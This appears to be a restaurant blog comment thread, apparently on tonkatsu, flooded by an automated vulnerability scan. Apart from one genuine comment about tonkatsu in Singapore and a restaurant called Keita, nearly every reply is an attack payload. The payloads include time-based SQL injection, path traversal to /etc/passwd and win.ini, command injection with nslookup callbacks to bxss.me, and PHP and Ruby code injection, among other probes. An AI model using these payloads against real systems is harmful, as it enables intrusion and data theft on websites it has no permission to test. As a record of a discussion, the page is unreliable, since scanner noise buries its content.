87eJPZXW' OR 716=(SELECT 716 FROM PG_SLEEP(15))--
re: Eric Yu
QfYNFJU3') OR 171=(SELECT 171 FROM PG_SLEEP(15))--
re: Eric Yu
Wljc4WGw')) OR 139=(SELECT 139 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@rUFSp
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
QQYkvYna
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
eff71l8C'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 390=(SELECT 390 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
re: Eric Yu
2eGFip04' OR 285=(SELECT 285 FROM PG_SLEEP(15))--
re: Eric Yu
wFqHVLXb') OR 714=(SELECT 714 FROM PG_SLEEP(15))--
re: Eric Yu
BufhLsff')) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@lyMJU
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
sr4biL5H
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+675-675-1=0+0+0+1
re: Eric Yu
-1 OR 3+675-675-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
pWNbsUkI'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 520=(SELECT 520 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 894=(SELECT 894 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 242=(SELECT 242 FROM PG_SLEEP(15))--
re: Eric Yu
Nu9ITBWI' OR 485=(SELECT 485 FROM PG_SLEEP(15))--
re: Eric Yu
B2l2uqjU') OR 413=(SELECT 413 FROM PG_SLEEP(15))--
re: Eric Yu
wFJilob3')) OR 303=(SELECT 303 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@jbueD
re: Eric Yu
xgtcrnUp
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
PsuWXGJA'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 821=(SELECT 821 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 818=(SELECT 818 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 794=(SELECT 794 FROM PG_SLEEP(15))--
re: Eric Yu
HVOiqKsl' OR 460=(SELECT 460 FROM PG_SLEEP(15))--
re: Eric Yu
x3Wt5KoE') OR 810=(SELECT 810 FROM PG_SLEEP(15))--
re: Eric Yu
xBcy9mpF')) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@khrka
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
@mirugai Totally agreed that tonkatsu is probably the cuisine with the biggest gap when looking overseas. Here in Singapore, Saboten would be considered one of the better tonkatsu joints, haha.
Amongst the list, Keita has got to be one of my favourites simply because they let you choose the kind of frying you prefer (lighter or darker batter). The pork quality is also fantastic, yet the price remains noticeably more affordable than Narikura or Chawanbu.
re: JJ
WeyTOjal
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
-1 OR 2+720-720-1=0+0+0+1
re: JJ
-1 OR 3+720-720-1=0+0+0+1
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
3dJOUzvl'; waitfor delay '0:0:15' --
re: JJ
-5 OR 603=(SELECT 603 FROM PG_SLEEP(15))--
re: JJ
-5) OR 432=(SELECT 432 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 122=(SELECT 122 FROM PG_SLEEP(15))--
re: JJ
cI5JgEDM' OR 466=(SELECT 466 FROM PG_SLEEP(15))--
re: JJ
Z0FialBp') OR 883=(SELECT 883 FROM PG_SLEEP(15))--
re: JJ
NlBqj9cX')) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@JvwKj
re: JJ
Ix7Fy0KS
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
1*
re: JJ
-1 OR 2+936-936-1=0+0+0+1
re: JJ
-1 OR 3+936-936-1=0+0+0+1
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
vDDlx0Gn'; waitfor delay '0:0:15' --
re: JJ
-5 OR 282=(SELECT 282 FROM PG_SLEEP(15))--
re: JJ
-5) OR 421=(SELECT 421 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 150=(SELECT 150 FROM PG_SLEEP(15))--
re: JJ
KikdSB6Q' OR 951=(SELECT 951 FROM PG_SLEEP(15))--
re: JJ
PLsMKHbt') OR 798=(SELECT 798 FROM PG_SLEEP(15))--
re: JJ
O8Sxst29')) OR 776=(SELECT 776 FROM PG_SLEEP(15))--
re: JJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@I3UrS
re: JJ
1ls8VqmGO
re: JJ
response.write(9819601*9956279)
re: JJ
'+response.write(9819601*9956279)+'
re: JJ
"+response.write(9819601*9956279)+"
re: JJ
%0abcc:074625.67-10172.67.98986.19990.2@bxss.me
re: JJ
to@example.com>%0d%0abcc:074625.67-10173.67.98986.19990.2@bxss.me
re: JJ
../../../../../../../../../../../../../../etc/passwd
re: JJ
../../../../../../../../../../../../../../windows/win.ini
re: JJ
file:///etc/passwd
re: JJ
<esi:include src="http://bxss.me/rpb.png"/>
re: JJ
../../../../../../../../../../../../../../../proc/version
re: JJ
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: JJ
../../../../../../../../../../etc/passwd%00.jpg
re: JJ
${9999868+9999836}
re: JJ
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: JJ
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: JJ
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: JJ
echo dvmviv$()\ fblqkm\nz^xyu||a #' &echo dvmviv$()\ fblqkm\nz^xyu||a #|" &echo dvmviv$()\ fblqkm\nz^xyu||a #
re: JJ
/etc/passwd
re: JJ
&echo gbsyey$()\ vonvcu\nz^xyu||a #' &echo gbsyey$()\ vonvcu\nz^xyu||a #|" &echo gbsyey$()\ vonvcu\nz^xyu||a #
re: JJ
%2fetc%2fpasswd
re: JJ
|echo gbhnbq$()\ nymqpw\nz^xyu||a #' |echo gbhnbq$()\ nymqpw\nz^xyu||a #|" |echo gbhnbq$()\ nymqpw\nz^xyu||a #
re: JJ
/.././.././.././.././.././.././.././../etc/./passwd%00
re: JJ
(nslookup hitdyxgrquhwjc95a7.bxss.me||perl -e "gethostbyname('hitdyxgrquhwjc95a7.bxss.me')")
re: JJ
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: JJ
)
re: JJ
$(nslookup hitctpwifnbbdde49f.bxss.me||perl -e "gethostbyname('hitctpwifnbbdde49f.bxss.me')")
re: JJ
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: JJ
!(()&&!|*|*|
re: JJ
&nslookup hitjwndbgtxib11ceb.bxss.me&'\"`0&nslookup hitjwndbgtxib11ceb.bxss.me&`'
re: JJ
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: JJ
^(#$!@#$)(()))******
re: JJ
&(nslookup hitttmyozemcx0056b.bxss.me||perl -e "gethostbyname('hitttmyozemcx0056b.bxss.me')")&'\"`0&(nslookup hitttmyozemcx0056b.bxss.me||perl -e "gethostbyname('hitttmyozemcx0056b.bxss.me')")&`'
re: JJ
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: JJ
|(nslookup hitvdsscbhlpe359e1.bxss.me||perl -e "gethostbyname('hitvdsscbhlpe359e1.bxss.me')")
re: JJ
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: JJ
`(nslookup hitevdnyzdxxx3642a.bxss.me||perl -e "gethostbyname('hitevdnyzdxxx3642a.bxss.me')")`
re: JJ
file:///etc/passwd
re: JJ
;(nslookup hitbqmjfipzvmdc3f9.bxss.me||perl -e "gethostbyname('hitbqmjfipzvmdc3f9.bxss.me')")|(nslookup hitbqmjfipzvmdc3f9.bxss.me||perl -e "gethostbyname('hitbqmjfipzvmdc3f9.bxss.me')")&(nslookup hitbqmjfipzvmdc3f9.bxss.me||perl -e "gethostbyname('hitbqmjfipzvmdc3f9.bxss.me')")
re: JJ
/\../\../\../\../\../\../\../etc/passwd
re: JJ
/WEB-INF/web.xml
re: JJ
C:\WINDOWS\system32\drivers\etc\hosts
re: JJ
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: JJ
../../../../../../../../../../windows/win.ini%00.jpg
re: JJ
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: JJ
/../../../../../../../../../../boot.ini
re: JJ
Http://bxss.me/t/fit.txt
re: JJ
'.gethostbyname(lc('hitnt'.'mwvqflgr0e4b4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(74).chr(99).chr(67).'
re: JJ
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: JJ
http://bxss.me/t/fit.txt%3F.jpg
re: JJ
".gethostbyname(lc("hitav"."mscwdwyoe98ad.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(87).chr(100).chr(68)."
re: JJ
..\..\..\..\..\..\..\..\windows\win.ini
re: JJ
/etc/shells
re: JJ
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: JJ
c:/windows/win.ini
re: JJ
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: JJ
bxss.me
re: JJ
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: JJ
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: JJ
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: JJ
WEB-INF/web.xml
re: JJ
HttP://bxss.me/t/xss.html?%00
re: JJ
WEB-INF\web.xml
re: JJ
"+"A".concat(70-3).concat(22*4).concat(102).concat(89).concat(122).concat(89)+(require"socket"
Socket.gethostbyname("hitrv"+"sbaozxxbc993e.bxss.me.")[3].to_s)+"
re: JJ
bxss.me/t/xss.html?%00
re: JJ
'+'A'.concat(70-3).concat(22*4).concat(98).concat(75).concat(110).concat(74)+(require'socket'
Socket.gethostbyname('hitnz'+'kskbptjee5a7a.bxss.me.')[3].to_s)+'
re: JJ
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: JJ
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: JJ
'"
re: JJ
';print(md5(31337));$a='
re: JJ
<!--
re: JJ
";print(md5(31337));$a="
re: JJ
${@print(md5(31337))}
re: JJ
${@print(md5(31337))}\
re: JJ
'.print(md5(31337)).'
re: JJ
1
re: JJ
1
re: JJ
-1 OR 2+620-620-1=0+0+0+1 --
re: JJ
-1 OR 3+620-620-1=0+0+0+1 --
re: JJ
-1 OR 2+437-437-1=0+0+0+1
re: JJ
-1 OR 3+437-437-1=0+0+0+1
re: JJ
-1' OR 2+319-319-1=0+0+0+1 --
re: JJ
-1' OR 3+319-319-1=0+0+0+1 --
re: JJ
-1' OR 2+767-767-1=0+0+0+1 or '8LqSIfkj'='
re: JJ
-1' OR 3+767-767-1=0+0+0+1 or '8LqSIfkj'='
re: JJ
-1" OR 2+149-149-1=0+0+0+1 --
re: JJ
-1" OR 3+149-149-1=0+0+0+1 --
re: JJ
if(now()=sysdate(),sleep(15),0)
re: JJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: JJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: JJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: JJ
-1; waitfor delay '0:0:15' --
re: JJ
-1); waitfor delay '0:0:15' --
re: JJ
1 waitfor delay '0:0:15' --
re: JJ
643ly04V'; waitfor delay '0:0:15' --
re: JJ
-5 OR 646=(SELECT 646 FROM PG_SLEEP(15))--
re: JJ
-5) OR 955=(SELECT 955 FROM PG_SLEEP(15))--
re: JJ
-1)) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
re: JJ
gseJAjD4' OR 478=(SELECT 478 FROM PG_SLEEP(15))--
re: JJ
xKJNSGpF') OR 833=(SELECT 833 FROM PG_SLEEP(15))--
re: JJ
IgzX20Js')) OR 12=(SELECT 12 FROM PG_SLEEP(15))--
re: JJ
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: JJ
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: JJ
'||(select 1 from (select pg_sleep(15))x)||'
re: JJ
''||(select 1 from (select pg_sleep(15))x)||''
re: JJ
1'"
re: JJ
@@wEaq3
re: JJ
1
re: JJ
1
re: JJ
1
re: JJ
1V4XDDAIZ0
re: JJ
response.write(9799524*9996561)
re: JJ
'+response.write(9799524*9996561)+'
re: JJ
"+response.write(9799524*9996561)+"
re: JJ
../../../../../../../../../../../../../../etc/passwd
re: JJ
../../../../../../../../../../../../../../windows/win.ini
re: JJ
<esi:include src="http://bxss.me/rpb.png"/>
re: JJ
${10000429+10000317}
re: JJ
file:///etc/passwd
re: JJ
../
re: JJ
)
re: JJ
!(()&&!|*|*|
re: JJ
^(#$!@#$)(()))******
re: JJ
redirtest.acx
re: JJ
echo jvhcfe$()\ nloaqf\nz^xyu||a #' &echo jvhcfe$()\ nloaqf\nz^xyu||a #|" &echo jvhcfe$()\ nloaqf\nz^xyu||a #
re: JJ
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: JJ
&echo hoerae$()\ zvjxal\nz^xyu||a #' &echo hoerae$()\ zvjxal\nz^xyu||a #|" &echo hoerae$()\ zvjxal\nz^xyu||a #
re: JJ
'.gethostbyname(lc('hitqh'.'kqwclhvmbbe26.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(73).chr(105).chr(75).'
re: JJ
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
